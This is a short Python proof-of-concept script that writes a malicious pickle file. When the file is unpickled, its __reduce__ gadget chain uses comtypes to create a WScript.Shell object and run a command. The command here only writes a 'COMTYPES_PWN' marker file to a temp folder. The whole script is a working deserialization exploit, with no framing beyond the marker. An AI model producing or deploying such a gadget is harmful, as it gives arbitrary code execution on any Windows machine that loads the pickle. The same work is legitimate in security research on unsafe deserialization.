import pickle, operator import comtypes.client from pathlib import Path out = Path(__file__).with_name("payload.pkl") cmd = 'cmd /c echo COMTYPES_PWN> "C:\\Users\\uozer\\AppData\\Local\\Temp\\opencode\\w33_comtypes_run.txt"' class Shell: def __reduce__(self): return (comtypes.client.CreateObject, ("WScript.Shell",)) class E: def __reduce__(self): # methodcaller('Run', cmd, 0, True)(shell) return (operator.methodcaller("Run", cmd, 0, True), (Shell(),)) out.write_bytes(pickle.dumps(E(), protocol=4)) print("WROTE", out)